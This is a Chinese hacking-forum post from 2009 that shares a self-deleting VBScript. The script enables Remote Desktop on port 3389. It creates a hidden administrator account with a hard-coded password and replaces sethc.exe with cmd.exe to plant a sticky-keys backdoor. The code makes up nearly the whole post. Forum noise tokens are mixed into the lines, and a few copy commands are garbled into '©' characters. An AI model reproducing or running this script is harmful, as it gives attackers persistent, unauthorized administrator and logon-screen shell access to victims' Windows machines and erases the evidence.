论坛风格切换切换到宽版
  • 534阅读
  • 0回复

可自删除 开启3389创建用户粘滞键后门的vbs [复制链接]

上一主题 下一主题
 
只看楼主 正序阅读 使用道具 楼主  发表于: 2009-03-12
on error resume next sK)fEx  
const HKEY_LOCAL_MACHINE = &H80000002 sK)fEx  
strComputer = "." sK)fEx  
Set StdOut = WScript.StdOut sK)fEx  
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ sK)fEx  
strComputer & "\root\default:StdRegProv") sK)fEx  
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" sK)fEx  
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 0Yk$f1g  
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" 0Yk$f1g  
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 0Yk$f1g  
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" 0Yk$f1g  
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" 0Yk$f1g  
strValueName = "fDenyTSConnections" 0Yk$f1g  
dwValue = 0 0Yk$f1g  
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 0Yk$f1g  
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" 0Yk$f1g  
strValueName = "PortNumber" 0Yk$f1g  
dwValue = 3389 0Yk$f1g  
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 0Yk$f1g  
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" 0Yk$f1g  
strValueName = "PortNumber" 0Yk$f1g  
dwValue = 3389 0Yk$f1g  
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 0Yk$f1g  
on error resume next 0Yk$f1g  
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath 0Yk$f1g  
On Error Resume Next 0Yk$f1g  
Dim obj, success 0Yk$f1g  
Set obj = CreateObject("WScript.Shell") 0Yk$f1g  
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) 0Yk$f1g  
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) 0Yk$f1g  
快速回复
限100 字节
如果您在写长篇帖子又不马上发表,建议存为草稿
 
上一个 下一个